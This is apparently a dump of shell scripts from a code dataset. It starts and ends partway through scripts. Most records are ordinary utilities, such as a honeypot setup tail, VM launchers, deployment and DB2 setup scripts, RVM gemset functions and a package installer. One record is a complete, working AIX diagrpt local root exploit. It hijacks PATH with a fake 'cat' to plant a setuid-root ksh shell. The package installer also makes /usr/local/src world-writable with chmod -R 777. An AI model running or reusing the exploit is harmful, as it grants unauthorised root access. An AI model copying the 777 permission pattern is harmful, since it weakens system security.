curl -s -o ${CONFIG_VNC} ${URL_VNC}
chmod 755 ${CONFIG_VNC}
echo " * Enable ${VNC_SERVICE}"
systemctl enable ${VNC_SERVICE} -q
echo "Successfully setup VNC honeypot"
echo ""
# --- Setup Logrotation --------------------------------------------
echo "Setup logrotate:"
echo " * Backup configuration"
cp ${CONFIG_LOG} ${CONFIG_LOG}.bak
echo " * Backup rsyslog configuration"
if [[ -e /etc/logrotate.d/rsyslog ]] ; then
mv /etc/logrotate.d/rsyslog ${DIRECTORY}/rsyslog
fi
echo " * Download configuration file"
curl -s -o ${CONFIG_LOG} ${URL_LOG}
echo " * Enable logrotate.service"
systemctl enable logrotate.service -q
echo "Successfully setup logrotate"
echo ""
# --- Setup SSH Keys -----------------------------------------------
echo "Setup SSH key:"
echo " * Configure ~/.ssh folder"
mkdir -p /home/${SUDO_USER}/.ssh
chmod 700 /home/${SUDO_USER}/.ssh
chown ${SUDO_USER}:${SUDO_USER} /home/${SUDO_USER}/.ssh
echo " * Generate Key"
ssh-keygen -t ed25519 -f ${SSH_KEY} -q -N "" -C "hp-${hp_cat}-${hp_id}"
echo " * Update permission of SSH key"
chmod 600 ${SSH_KEY}
chmod 644 ${SSH_KEY}.pub
chown ${SUDO_USER}:${SUDO_USER} ${SSH_KEY}
chown ${SUDO_USER}:${SUDO_USER} ${SSH_KEY}.pub
echo "Successfully generated SSH key"
echo ""
# --- Setup Cronjobs -----------------------------------------------
echo "Setup CRON Job:"
echo " * Download script"
curl -s -o ${CRON_SCRIPT} ${URL_CRON_SCRIPT}
echo " * Add executable permissions"
chmod +x ${CRON_SCRIPT}
echo " * Configure cron job"
curl -s -o ${CRON_JOB} ${URL_CRON_CONFIG}
echo "Successfully configured cron job"
echo ""
# --- Postwork -----------------------------------------------------
# storing SSH_KEY in config
echo "HP_SSH_KEY=${SSH_KEY}" >> ${DOTENV}
echo "Honeypot setup is complete."
echo ""
echo "If you have any questions left regarding the running software or the"
echo "configuration, please check the README first:"
echo " https://static.maxresing.de/pub/ut/README.txt"
echo ""
echo "Please share your public key information immediately with:"
echo " Max Resing <m.resing-1@student.utwente.nl>"
echo ""
echo "Public Key:"
echo $(cat ${SSH_KEY}.pub)
echo ""
echo "After sharing the key information, you need to reboot the honeypot."
echo -n "Reboot now? [y/n]: "
read do_reboot
if [[ ${do_reboot} == "y" ]] ; then
reboot
fi
| true |
3449a768dea602a6d15b2e998b136292f34728e2 | Shell | williamhaley/configs | /bin/vm.windows98.sh | UTF-8 | 454 | 2.796875 | 3 | [] | no_license | #!/usr/bin/env bash
#
# Windows 98 Qemu VM.
set -e
# -cdrom ~/Software/Windows\ and\ DOS/Windows\ 98\ First\ Edition.iso \
pushd "${HOME}/VMs/windows98"
qemu-system-i386 \
-nodefaults \
-rtc base=localtime \
-m 1G \
-hda "./image/windows98.vmdk" \
-cdrom "${HOME}/Software/Windows and DOS/Windows 98 First Edition.iso" \
-device lsi \
-device sb16 \
-audiodev pa,id=snd0,out.buffer-length=10000,out.period-length=2500 \
-device VGA
| true |
b1db69effb1062f0ed407e5182cc07d735cf1023 | Shell | riverpuro/dotfiles | /bin/update-emacs | UTF-8 | 284 | 3.328125 | 3 | [] | no_license | #!/bin/sh
src=${HOME}/local/src
prefix=${HOME}/local
mkdir -p $src
cd $src
if [ -d emacs ] ; then
cd emacs
git pull
else
git clone git://git.savannah.gnu.org/emacs.git emacs
cd emacs
fi
./autogen.sh
make clean
./configure --prefix=$prefix --without-x
make && make install
| true |
e2da057d19dd8a18cd09442c15fd01487fcaa7f2 | Shell | igor-filipenko/devtools | /src/set-status | UTF-8 | 892 | 3.25 | 3 | [] | no_license | #!/bin/bash
source $HOME/devtools/share/common.sh
MOUNTED="[MOUNTED]"
UNMOUNTED="[UNMOUNTED]"
RUNNING="[RUNNING]"
STOPPED="[STOPPED]"
function check_mounted
{
if mount | grep $1 > /dev/null; then
echo $MOUNTED
else
echo $UNMOUNTED
fi
}
function check_running
{
if VBoxManage list runningvms | grep $1 > /dev/null; then
echo $RUNNING
else
echo $STOPPED
fi
}
MOUNTED_CENTRUM=$(check_mounted $MOUNT_PATH/centrum)
MOUNTED_RETAIL=$(check_mounted $MOUNT_PATH/retail)
MOUNTED_CASH=$(check_mounted $MOUNT_PATH/cash)
RUNNING_CENTRUM=$(check_running $CENTRUM_VM)
RUNNING_RETAIL=$(check_running $RETAIL_VM)
RUNNING_CASH=$(check_running $CASH_VM)
echo -e "CENTRUM\t $CENTRUM_IP\t $MOUNTED_CENTRUM\t $RUNNING_CENTRUM"
echo -e "RETAIL\t $RETAIL_IP\t $MOUNTED_RETAIL\t $RUNNING_RETAIL"
echo -e "CASH\t $CASH_IP\t $MOUNTED_CASH\t $RUNNING_CASH"
| true |
180b90f83c7e392c201b2a101877ff5b521c5abe | Shell | Kaliahh/IMPR | /scripts/ping-test.sh~ | UTF-8 | 136 | 2.5625 | 3 | [] | no_license | #!/bin/sh
# -q quiet
# -c nb of pings to perform
ping -q -c5 google.com > /dev/null
if [ $? -eq 0 ]
then
echo "ok"
fi
| true |
cc199672ae6f8cffb1eb7498b9e8039c7eb1c8e7 | Shell | kors-ana/project-deploy-instruction | /deployment/scripts/deploy.sh | UTF-8 | 1,018 | 2.90625 | 3 | [] | no_license | #!/usr/bin/env bash
PATH_CREDENTAILS=~/repo/deployment/scripts
PATH_SSH=deployment/ssh/id_rsa
chmod +x ${PATH_CREDENTAILS}/unzip_credentails.sh && ${PATH_CREDENTAILS}/unzip_credentails.sh
echo "Deploy run!";
# if [[ "${CIRCLE_BRANCH}" = 'master' ]]
# then
# APP_ENV=production
# DEPLOY_PATH=/var/www/stage-prod.iflorist.ru
# echo "Deploy to production is disabled!"
# exit 0
# ssh -o "StrictHostKeyChecking=no" -i ${PATH_SSH} "${DEPLOY_USER}@${DEPLOY_HOST}" "
# cd ${DEPLOY_PATH} && \
# sudo -S git pull origin master && \
# chmod +x ./deploy.sh && \
# ./deploy.sh
# "
# echo "Success!!!"
# fi
# if [[ "$CIRCLE_BRANCH" = 'develop' ]]
# then
# APP_ENV=staging
# DEPLOY_PATH=/var/www/stage-alpha.iflorist.ru
# echo "Deploy to staging"
# ssh -o "StrictHostKeyChecking=no" -i ${PATH_SSH} "${DEPLOY_USER}@${DEPLOY_HOST}" "
# cd ${DEPLOY_PATH} && \
# sudo -S git pull origin develop && \
# chmod +x ./deploy.sh && \
# ./deploy.sh
# "
# echo "Success!!!"
# fi
| true |
dfd2f391907f09c03a8666b08c143b33d9f98a28 | Shell | webclinic017/Termux | /apps/aix/local/21094.c | UTF-8 | 1,659 | 3.5 | 4 | [] | no_license | source: https://www.securityfocus.com/bid/2916/info
AIX ships with a diagnostic reporting utility called 'diagrpt'. This utility is installed setuid root by default.
When 'diagrpt' executes, it relies on an environment variable to locate another utility which it executes. This utility is executed by 'diagrpt' as root.
An attacker can gain root privileges by having 'diagrpt' execute a malicious program of the same name in a directory under their control.
#!/bin/sh
# FileName: x_diagrpt.sh
# Exploit diagrpt of Aix4.x & 5L to get a uid=0 shell.
# Tested : on Aix4.3.3 & Aix5.1.
# Author : watercloud@xfocus.org
# Site : www.xfocus.org www.xfocus.net
# Date : 2003-5-23
# Announce: use as your owner risk!
#
# Note :
# It does not work on all versions of tsm command.
# Use this command to test if your version can exploit or not :
# bash$ strings /usr/lpp/diagnostics/bin/diagrpt |grep cat
# diagrpt.cat
# cat %s <--- here ! have the bug !!! can exploit!
#
O_DIR=`/bin/pwd`
cd /tmp ; mkdir .ex$$ ; cd .ex$$
PATH=/tmp/.ex$$:$PATH ; export PATH
/bin/cat >cat<<EOF
#!/bin/ksh -p
cp /bin/ksh ./kfsh
chown root ./kfsh
chmod 777 ./kfsh
chmod u+s ./kfsh
EOF
chmod a+x cat
DIAGDATADIR=/tmp/.ex$$ ; export DIAGDATADIR
touch /tmp/.ex$$/diagrpt1.dat
/usr/lpp/diagnostics/bin/diagrpt -o 010101
stty echo
stty intr '^C' erase '^H' eof '^D' eol '^@'
if [ -e ./kfsh ] ;then
echo ""
echo "===================="
pwd
ls -l ./kfsh
echo "Exploit ok ! Use this command to get a uid=0 shell :"
echo '/usr/bin/syscall setreuid 0 0 \; execve "/bin/sh" '
./kfsh
else
echo ""
echo "Exploit false !!!!"
fi
cd /tmp ; /bin/rm -Rf /tmp/.ex$$ ;cd $O_DIR
#EOF | true |
00c7b9910b2d27a3b8da12faf26f9c3523670e5f | Shell | jensdietrich/null-annotation-inference | /experiments/refine-collected-issues.sh | UTF-8 | 1,578 | 3.75 | 4 | [
"UPL-1.0"
] | permissive | #!/bin/bash
## script to refine fetched nullability issues, rejecting some and inferring additional ones
## @author jens dietrich
NAME=$1
PREFIX=$2
ROOT="$(pwd)"
PROJECT_FOLDER=$ROOT/projects/original/$NAME
ISSUE_FOLDER=$ROOT/issues-collected/$NAME
INFERRED_ISSUES_FOLDER=$ROOT/issues-inferred/$NAME
NEGATIVE_TEST_LIST=$INFERRED_ISSUES_FOLDER/negative-tests.csv
SUMMARY=$INFERRED_ISSUES_FOLDER/summary.csv
REFINER=nullannoinference-refiner.jar
REFINER_PATH=nullannoinference-refiner/target/nullannoinference-refiner.jar
if [ ! -d "$PROJECT_FOLDER" ]; then
echo "Project missing: $PROJECT_FOLDER"
exit 1
fi
if [ ! -d "$ISSUE_FOLDER" ]; then
echo "No issues found, run collect-nullability-*.sh script first: $ISSUE_FOLDER"
exit 1
fi
cd ..
if [ ! -f "$REFINER_PATH" ]; then
echo "Project must be build first with \"mvn package\" in order to create the refiner executable: $REFINER_PATH"
exit 1
fi
cd $ROOT
if [ -f "$REFINER" ]; then
echo "delete existing refiner to ensure latest version is used"
rm $REFINER
fi
if [ ! -d "$INFERRED_ISSUES_FOLDER" ]; then
echo "create non-existing folder $INFERRED_ISSUES_FOLDER"
mkdir -p "$INFERRED_ISSUES_FOLDER"
fi
echo "rebuilding project in $PROJECT_FOLDER"
cd $PROJECT_FOLDER
mvn clean test-compile -Drat.skip=true
echo "running inference"
cd $ROOT
cd ..
cp nullannoinference-refiner/target/$REFINER $ROOT
cd $ROOT
echo "name: $NAME"
echo "prefix: $PREFIX"
java -jar $REFINER -i $ISSUE_FOLDER -a -s $INFERRED_ISSUES_FOLDER -n $NEGATIVE_TEST_LIST -p $PROJECT_FOLDER -o $SUMMARY -x $PREFIX -t mvn
| true |
36ec2f0759de232dcbfc431500153ee73abeb789 | Shell | syuria27/Automation_Scripts | /ibm_db2_create_instance.sh | UTF-8 | 800 | 2.921875 | 3 | [] | no_license | #!/bin/bash
################ ENVIRONMENT VARIABLES ################
db2_install_dir=/opt/ibm/db2/V10.5
#########################################################################
## Change ownership of install dir
chmod -R u+x $db2_install_dir
## Create groups and users
groupadd db2grp1
groupadd dasadm1
groupadd db2fgrp1
useradd -g db2grp1 -G dasadm1 -m db2inst1
passwd db2inst1
useradd -g dasadm1 -G db2grp1 -m dasusr1
passwd dasusr1
useradd -g db2fgrp1 -m db2fenc1
passwd db2fenc1
## Create DAS
$db2_install_dir/instance/dascrt -u dasusr1
## Create Instance
$db2_install_dir/instance/db2icrt -u db2fenc1 db2inst1
su - db2inst1 -c "db2set DB2COMM=tcpip"
su - db2inst1 -c "db2 update dbm cfg using SVCENAME 50000"
su - db2inst1 -c "$db2_install_dir/adm/db2start"
| true |
0acbcd49bc0c55d20efba01941b861819ecfda0d | Shell | tabulon-ext/zeesh | /plugins/virtualbox/func/vbox-snapshots | UTF-8 | 1,177 | 3.828125 | 4 | [
"MIT"
] | permissive | # returns a list of snapshots for a vm
vbox-snapshots() {
local vm=$1
local cmd=$2
[ -n "$vm" ] || { echo 'No vm specified'; return 1 }
typeset -A prefs
zeesh-prefs virtualbox get
local vboxmanage=$prefs[vboxmanage]
_names() {
$vboxmanage showvminfo --machinereadable $vm | grep -o 'SnapshotName.*' | cut -d '=' -f2 | tr -d '"'
}
_uuids() {
$vboxmanage showvminfo --machinereadable $vm | grep -o 'SnapshotUUID.*' | cut -d '=' -f2 | tr -d '"'
}
_current() {
$vboxmanage showvminfo $vm | /usr/bin/grep '*' | tr -s ' ' | cut -d ' ' -f 3- | tr -d '*'
}
case "$cmd" in
current)
_current
;;
names)
_names
;;
uuids)
_uuids
;;
*)
n=( ${(f)"$(_names)"} )
u=( ${(f)"$(_uuids)"} )
c=$( _current )
for i in {1..${#n}}; do
l="$n[$i] (UUID: $u[$i])"
if [[ "$l " == "$c" ]]; then
l="$( _bold $l )"
fi
echo $l
done
unset n u c l
;;
esac
}
# vim: ft=zsh
| true |
43d2d42d40c026003705958558881121f0226efe | Shell | amcadmus/md.error | /longRange.hetero/profile.test/template/tools/scripts/dir.esti.sh | UTF-8 | 740 | 2.859375 | 3 | [] | no_license | #!/bin/bash
source parameters.sh
if test ! -d $record_dir; then
echo "no record dir $record_dir"
exit
fi
if test ! -d $errors_dir; then
echo "# no errors dir $errors_dir, make it"
mkdir -p $errors_dir
fi
rm -f $errors_dir/parameters.dir.esti.sh
cp parameters.sh $errors_dir/parameters.dir.esti.sh
mylog=dir.esti.log
rm -f $mylog
touch $mylog
make -j8 -C ./tools/analyze/ &>> make.log
# esti the dir error
./tools/analyze/error.dir -t $record_dir/traj.xtc -q $record_dir/charge.tab --my-charge $charge --refh $real_h --beta $beta --rcut $cal_rcut &>> $mylog
mv -f rho.x.avg.out $errors_dir/
mv -f error.out $errors_dir/esti.dir.error.out
mv -f meanf.out $errors_dir/esti.dir.meanf.out
mv -f make.log $mylog $errors_dir
| true |
af767a541e7ff9896bb14d6d9452bcb890ad0dcf | Shell | champ1/rvm | /scripts/functions/gemset | UTF-8 | 7,804 | 3.953125 | 4 | [
"Apache-2.0"
] | permissive | #!/usr/bin/env bash
__rvm_current_gemset()
{
# Fetch the current gemset via GEM_HOME
typeset current_gemset
current_gemset="${GEM_HOME:-}"
# We only care about the stuff to the right of the separator.
current_gemset="${current_gemset##*${rvm_gemset_separator:-@}}"
if [[ "${current_gemset}" == "${GEM_HOME:-}" ]] ; then
echo ''
else
echo "${current_gemset}"
fi
}
__rvm_using_gemset_globalcache()
{
"$rvm_scripts_path/db" "$rvm_user_path/db" \
"use_gemset_globalcache" | __rvm_grep '^true$' >/dev/null 2>&1
return $?
}
__rvm_current_gemcache_dir()
{
if __rvm_using_gemset_globalcache; then
echo "$rvm_gems_cache_path"
else
echo "${rvm_ruby_gem_home:-"$GEM_HOME"}/cache"
fi
return 0
}
gemset_create()
{
typeset gem_home gemset gemsets prefix
[[ -n "$rvm_ruby_string" ]] || __rvm_select
prefix="${rvm_ruby_gem_home%%${rvm_gemset_separator:-"@"}*}"
for gemset in "$@"
do
if
[[ -z "$rvm_ruby_string" || "$rvm_ruby_string" == "system" ]]
then
rvm_error "Can not create gemset when using system ruby. Try 'rvm use <some ruby>' first."
return 1
elif
[[ "$gemset" == *"${rvm_gemset_separator:-"@"}"* ]]
then
rvm_error "Can not create gemset '$gemset', it contains a \"${rvm_gemset_separator:-"@"}\"."
return 2
elif
[[ "$gemset" == *"${rvm_gemset_separator:-"@"}" ]]
then
rvm_error "Can not create gemset '$gemset', Missing name. "
return 3
fi
gem_home="${prefix}${gemset:+${rvm_gemset_separator:-"@"}}${gemset}"
[[ -d "$gem_home/bin" ]] || mkdir -p "$gem_home/bin"
: rvm_gems_cache_path:${rvm_gems_cache_path:=${rvm_gems_path:-"$rvm_path/gems"}/cache}
# When the globalcache is enabled, we need to ensure we setup the cache directory correctly.
if
__rvm_using_gemset_globalcache
then
if [[ -d "$gem_home/cache" && ! -L "$gem_home/cache" ]]
then \mv "$gem_home/cache"/*.gem "$rvm_gems_cache_path/" 2>/dev/null
fi
__rvm_rm_rf "$gem_home/cache"
ln -fs "$rvm_gems_cache_path" "$gem_home/cache"
else
mkdir -p "$gem_home/cache"
fi
rvm_log "$rvm_ruby_string - #gemset created $gem_home"
if
(( ${rvm_skip_gemsets_flag:-0} == 0 ))
then
__rvm_with "${rvm_ruby_string}${gemset:+@}${gemset}" gemset_initial ${gemset:-default}
fi
done
if
(( ${rvm_skip_gemsets_flag:-0} != 0 ))
then
rvm_log "Skipped importing default gemsets"
fi
}
__rvm_parse_gems_args()
{
typeset gem="${*%%;*}"
if
__rvm_string_match "$gem" "*.gem$"
then
gem_name="$(basename "${gem/.gem/}" | __rvm_awk -F'-' '{$NF=NULL;print}')"
gem_version="$(basename "${gem/.gem/}" | __rvm_awk -F'-' '{print $NF}' )"
else
gem_name="${gem/ */}"
case "$gem" in
*--version*)
gem_version=$(
echo "$gem" | __rvm_sed -e 's#.*--version[=]*[ ]*##' | __rvm_awk '{print $1}'
)
;;
*-v*)
gem_version=$(
echo "$gem" | __rvm_sed -e 's#.*-v[=]*[ ]*##' | __rvm_awk '{print $1}'
)
;;
*)
unset gem_version # no version
;;
esac
fi
}
# Install a gem
gem_install()
{
typeset gem_name gem_version gem_spec version_check
typeset -a _command
__rvm_parse_gems_args "$@"
gem_spec="gem '$gem_name'"
if
[[ -n "${gem_version}" ]]
then
gem_spec+=", '$gem_version'"
version_check="$gem_version"
else
version_check="*([[:digit:]\.])"
fi
if
(( ${rvm_force_flag:-0} == 0 )) &&
{
ls -ld "${rvm_ruby_gem_home}/gems"/${gem_name}-${version_check} >/dev/null 2>&1 ||
"${rvm_ruby_binary}" -rrubygems -e "$gem_spec" 2>/dev/null
}
then
rvm_log "${gem_spec} is already installed"
return 0
fi
__rvm_log_command "gem.install" "installing ${gem_spec}" gem install $* $rvm_gem_options ||
return $?
true # for OSX
}
gemset_import()
{
typeset rvm_file_name
typeset -a gem_file_names
unset -f gem
__rvm_select
gem_file_names=(
"${1%.gems*}.gems"
"${rvm_gemset_name}.gems"
"default.gems"
"system.gems"
".gems"
)
__rvm_find_first_file rvm_file_name "${gem_file_names[@]}" ||
{
rvm_error "No *.gems file found."
return 1
}
[[ -d "$rvm_ruby_gem_home/specifications/" ]] || mkdir -p "$rvm_ruby_gem_home/specifications/"
[[ -d "$rvm_gems_cache_path" ]] || mkdir -p "$rvm_gems_cache_path" # Ensure the base cache dir is initialized.
if
[[ -s "$rvm_file_name" ]]
then
rvm_log "\nInstalling gems listed in $rvm_file_name file...\n"
typeset -a lines
__rvm_read_lines lines "${rvm_file_name}"
for line in "${lines[@]}"
do
# Parse the lines, throwing out comments and empty lines.
if [[ ! "${line}" =~ ^# && -n "${line// /}" ]]
then gem_install $line || rvm_error "there was an error installing gem $line"
fi
done
rvm_log "\nProcessing of $rvm_file_name is complete.\n"
else
rvm_error "${rvm_file_name} does not exist to import from."
return 1
fi
}
# Loads the default gemsets for the current interpreter and gemset.
gemset_initial()
{
typeset gemsets gemset _iterator paths
true ${rvm_gemsets_path:="$rvm_path/gemsets"}
[[ -d "$rvm_gems_path/${rvm_ruby_string}/cache" ]] ||
mkdir -p "$rvm_gems_path/${rvm_ruby_string}/cache" 2>/dev/null
__rvm_ensure_has_environment_files
paths=( $( __rvm_ruby_string_paths_under "$rvm_gemsets_path" | sort -r ) )
for _iterator in "${paths[@]}"
do
if
[[ -f "${_iterator}/$1.gems" ]]
then
if
[[ -s "${_iterator}/$1.gems" ]]
then
__rvm_log_command "gemsets.initial.$1" \
"$rvm_ruby_string - #importing gemset ${_iterator}/$1.gems" \
gemset_import "${_iterator}/$1.gems"
else
rvm_warn "$rvm_ruby_string - #empty gemset defintion ${_iterator}/$1.gems"
fi
break # stop right here
else
rvm_debug "gemset definition does not exist ${_iterator}/$1.gems"
fi
done
__rvm_log_command "gemset.wrappers.$1" \
"$rvm_ruby_string - #generating ${1} wrappers" \
run_gem_wrappers_regenerate 2>/dev/null || true
}
ensure_gem_installed()
{
gem query -i -n "$@" >/dev/null || gem install "$@" || return $?
}
run_gem_wrappers_regenerate()
{
typeset gem_wrappers_minimal_version
__rvm_db "gem_wrappers_minimal_version" "gem_wrappers_minimal_version"
ensure_gem_installed gem-wrappers -v ">=$gem_wrappers_minimal_version" &&
gem wrappers regenerate ||
return $?
}
__gemset_gem()
(
export GEM_HOME="$rvm_ruby_gem_home"
export GEM_PATH="$rvm_ruby_gem_home:$rvm_ruby_global_gems_path"
export PATH="$rvm_ruby_home/bin"
gem "$@" || return $?
)
__rvm_rubygems_create_link()
{
typeset ruby_lib_gem_path
\mkdir -p "$rvm_ruby_gem_home/bin"
rubygems_detect_ruby_lib_gem_path "${1:-ruby}" ||
return 0
if [[ -L "$ruby_lib_gem_path" ]]
then rm -rf "$ruby_lib_gem_path"
fi
if [[ -e "$rvm_ruby_global_gems_path" && ! -L "$rvm_ruby_global_gems_path" ]]
then rm -rf "$rvm_ruby_global_gems_path"
fi
[[ -d "$ruby_lib_gem_path" ]] ||
\mkdir -p "$ruby_lib_gem_path"
[[ -L "$rvm_ruby_global_gems_path" ]] ||
ln -fs "$ruby_lib_gem_path" "$rvm_ruby_global_gems_path"
\mkdir -p "$rvm_ruby_global_gems_path/bin"
}
__rvm_set_executable()
{
for __file
do [[ -x "${__file}" ]] || chmod +x "${__file}"
done
}
__rvm_initial_gemsets_create()
{
__rvm_log_command "chmod.bin" "$rvm_ruby_string - #making binaries executable" __rvm_set_executable "$rvm_ruby_home/bin"/* &&
( rubygems_setup ${rvm_rubygems_version:-latest} ) && # () for exit in rubygems_fatal_error
__rvm_rubygems_create_link "$1" &&
gemset_create "global" ""
}
gemset_reset_env()
{
__rvm_ensure_has_environment_files &&
run_gem_wrappers_regenerate
}
| true |
8517306ca1dd46859e825e4b90523558664e27b7 | Shell | samhaug/beamform_code | /normalize_beam_on_P_filter.sh | UTF-8 | 1,826 | 3.265625 | 3 | [] | no_license | #!/bin/bash
if [ $# != 0 ]; then
echo "Finds temporal, incidence angle, and baz bounds for P wave arriaval"
echo "and normalizes on maximum within these bounds. Does this automatically"
echo "for each filtered beamfile."
echo "USAGE: ./normalize_beam_on_P_filter.sh"
exit
fi
cwd=$(pwd)
alat=$(grep array_centroid_lat $cwd/describe | awk '{print $2}')
alon=$(grep array_centroid_lon $cwd/describe | awk '{print $2}')
elat=$(grep event_lat $cwd/describe | awk '{print $2}')
elon=$(grep event_lon $cwd/describe | awk '{print $2}')
baz=$(vincenty_inverse $elat $elon $alat $alon | awk '{print $2}')
gcarc=$(vincenty_inverse $elat $elon $alat $alon | awk '{print $3}')
evdp=$(grep event_depth $cwd/describe | awk '{print $2}')
#Find temporal, baz, and incidence angle boundaries
#echo "evdp: " $evdp
#echo "gcarc: " $gcarc
P_inc=$(taup_time -mod prem -deg $gcarc -ph P -h $evdp | tail -n2 | head -n1 | awk '{print $7}')
i_min=$((${P_inc%.*}-3))
i_max=$((${P_inc%.*}+3))
P_time=$(taup_time -mod prem -h $evdp -deg $gcarc -ph P --time | awk '{print $1}')
#Account for trace starting at 400 seconds after earthquake
t_min=$((${P_time%.*}-15-400))
t_max=$((${P_time%.*}+15-400))
b_min=$((${baz%.*}-4))
b_max=$((${baz%.*}+4))
#echo "xh_beamnorm $1 $2 $t_min $t_max $i_min $i_max $b_min $b_max"
#xh_beamnorm subarray_*_f1.beam f1_norm.beam $t_min $t_max $i_min $i_max $b_min $b_max
#xh_beamnorm subarray_*_f2.beam f2_norm.beam $t_min $t_max $i_min $i_max $b_min $b_max
#xh_beamnorm subarray_*_f3.beam f3_norm.beam $t_min $t_max $i_min $i_max $b_min $b_max
#xh_beamnorm subarray_*_f4.beam f4_norm.beam $t_min $t_max $i_min $i_max $b_min $b_max
xh_beamnorm fuck.beam fuck_norm.beam $t_min $t_max $i_min $i_max $b_min $b_max
#xh_beamnorm fuck_slow.beam fuck_slow_norm.beam $t_min $t_max $i_min $i_max $b_min $b_max
| true |
a3c80a4273db5b54dc8c07aa0f5f0dcb935cabc0 | Shell | AnilSeervi/ShellScripting | /minmax.sh | UTF-8 | 321 | 3.578125 | 4 | [
"MIT"
] | permissive | echo "How many Entries?"
read n
i=1
echo "Enter the first number:"
read numb1
max=$numb1
min=$numb1
echo "Enter `expr $n - 1` numbers:"
while [ $i -lt $n ]
do
read numb
if [ $numb -gt $max ]
then
max=$numb
fi
if [ $numb -lt $min ]
then
min=$numb
fi
i=`expr $i + 1`
done
echo Maximum Value = $max
echo Minimum Value = $min | true |
6804f32041d09df787a189f5a410cff89173faac | Shell | kalkaran/bash_basic_scripting_ex1 | /bash_package_install_example.sh | UTF-8 | 10,613 | 4.09375 | 4 | [] | no_license | #!/usr/bin/env bash
# Script to automate installation of packages - Ex.1
# .--.
# |o_o |
# |:_/ |
# // \ \
# (| | )
# /'\_ _/`\
# \___)=(___/
# Valdemar er en pingvin
# https://nmap.org/dist/nmap-7.91-1.x86_64.rpm
# 1.Ask for the package to be downloaded [DONE]
# 2.Then ask if it want to install from source code or with dpkg/rpm [DONE]
# 3.It then asks for the link to download the packages [DONE]
# 4.It checks/changes for the permission of the folder /usr/local/src such that everybody can download and use packages downloaded there [DONE]
# 5.It then downloads the package in /usr/local/src [DONE]
# 6.It should then install the package depending on the choice of package downloaded.[DONE]
# 7.Report if the installation was successful [DONE]
# 8.If not then what was the reason (maybe there were some dependencies that were missing- prompt to download and install those packages before downloaded the initial package that was to be installed) [DONE]
# 9.[optional][extra credits] find the package in apt-cache and prompt to install them and then reinstall the initial package to be installed
# 10.[optional][extra credits] make it possible to run the script without sudo. Hint Look into sudoers file use visudo
script_name=$0
# On the first error encountered, stop!
#set -e
# A function that shows how to use the program
show_usage() {
echo "Usage: $script_name"
echo "or"
echo "Usage: $scipt_name -a --link=<link>"
exit
}
# Check that arguments contain the right stuff
a_flag=''
while test $# -gt 0; do
case "$1" in
-h | --help)
echo "Usage: $script_name"
echo "or"
echo "Usage: $script_name -a|--automatic_install -l|--link=<link>"
echo " "
echo "options:"
echo "-h, --help show brief help"
echo "-a, --automatic_install automatically select settings for install"
echo "-l, --link specify a link for package (required for automatic install)"
exit 0
;;
-l)
shift
if test $# -gt 0; then
export LINK_INPUT=$1
a_flag='true'
else
error_status="no link specified"
check_installation_status
fi
shift
;;
--link)
export LINK_INPUT=$1
a_flag='true'
shift
;;
*)
show_usage
break
;;
esac
done
# return Linux version and distribution
if [ -f /etc/centos-release ]; then
Operating_System="CentOs"
full=$(sed 's/^.*release //;s/ (Fin.*$//' /etc/centos-release)
Version=${full:0:1} # return 6 or 7
elif [ -f /etc/lsb-release ]; then
Operating_System=$(grep DISTRIB_ID /etc/lsb-release | sed 's/^.*=//')
Version=$(grep DISTRIB_RELEASE /etc/lsb-release | sed 's/^.*=//')
else
Operating_System=$(uname -s)
Version=$(uname -r)
fi
arch=$(uname -m)
installation_target="/usr/local/src"
echo "Operating System : $Operating_System $Version $arch"
echo ' .--.'
echo ' |o_o | '
echo ' |:_/ | '
echo ' // \ \ '
echo ' (| | ) '
echo " /'\_ _/'\ "
echo ' \___)=(___/ '
echo 'Valdemar er en Ping - vin'
#Menu for choosing package
menu() {
read -e -p "Type in the package you wish to download: " PACKAGE_FOR_INSTALL
echo "#############################################"
echo "How do you wish to install ${PACKAGE_FOR_INSTALL}"
read -e -p "(1):Install from source, (2): Install via alien, (q):Quit installer? " option
case $option in
"1")
echo "Selection was 1. Install from source"
;;
"2")
echo "Selection was 2. Install via alien"
;;
[Qq]*)
echo "Goodbye !"
exit 0
;;
*) echo "invalid option $option" ;;
esac
read -e -p "Please enter link to package: " LINK_TO_PACKAGE
echo "Url for package: $LINK_TO_PACKAGE"
}
check_permissions() {
folder_to_check=$1
echo "Checking Folder Permissions for $folder_to_check"
permissions=$(stat -L -c "%a" $folder_to_check)
#permissions=XXX
first_number="${permissions:0:1}"
second_number="${permissions:1:2}"
third_number="${permissions:2:3}"
if [[ $third_number -eq 7 ]] || [[ $third_number -eq 6 ]]; then
echo "You have the correct permissions for $folder_to_check"
else
echo "You do not have write permissions for $folder_to_check"
echo "Changing permissions now"
chmod -R 777 ${installation_target}
fi
}
download_package() {
echo "Downloading Package"
path_to_package="${installation_target}/"
#check if wget installed?
wget "${LINK_TO_PACKAGE}" -P "${path_to_package}"
}
check_option(){
if [[ $option != $1 ]]; then
if [[ $1 -eq 1 ]]; then
echo "This is not an package alien can install - attempting to instal from source code archive"
option="1"
else
echo "This is not an archive containing source code - will now redirect to alien installation"
option="2"
fi
fi
}
check_file_type() {
#needs to check file type
echo "Checking file type"
echo "File types supported:"
echo "zip"
echo "tar"
echo "tar.bz2"
echo "bz2"
echo "tar.gz"
echo "gz"
echo "tar.xz"
echo "xz"
echo "deb"
echo "rpm"
echo "tgz"
echo "slp"
echo "pkg"
# URL FILE FORMAT : https://nmap.org/dist/nmap-7.91-1.x86_64.rpm
#save link as an array split by /
IFS='/' read -ra my_array <<<"$LINK_TO_PACKAGE"
# get last element of array unless the link ends on /
#echo "$LINK_TO_PACKAGE"
if [[ ${my_array[-1]} != "" ]]; then
filename=${my_array[-1]}
else
filename=${my_array[-2]}
fi
echo $filename
path_to_package_file="${installation_target}/${filename}"
#example: nmap-7 91-1 x86_64 rpm
IFS='.' read -ra my_ext <<<"$filename"
#echo "$filename"
#check if empty ext
if [[ ${my_ext[-1]} != "" ]]; then
ext1=${my_ext[-1]}
ext2=${my_ext[-2]}
case $ext1 in
# source
"bz2")
if [[ $ext2 == "tar" ]]; then
ext="tar.bz2"
else
ext="bz2"
fi
echo "$ext file found"
check_option "1"
;;
"gz")
if [[ $ext2 == "tar" ]]; then
ext="tar.gz"
else
ext="gz"
fi
echo "$ext file found"
check_option "1"
;;
"xz")
if [[ $ext2 == "tar" ]]; then
ext="tar.xz"
else
ext="xz"
fi
echo "$ext file found"
check_option "1"
;;
"zip")
ext=$ext1
echo "$ext1 file found"
check_option "1"
;;
# package
"deb") # Debian deb
ext=$ext1
echo "$ext1 file found"
check_option "2"
;;
"tgz") # Stampede slp
ext=$ext1
echo "$ext1 file found"
check_option "2"
;;
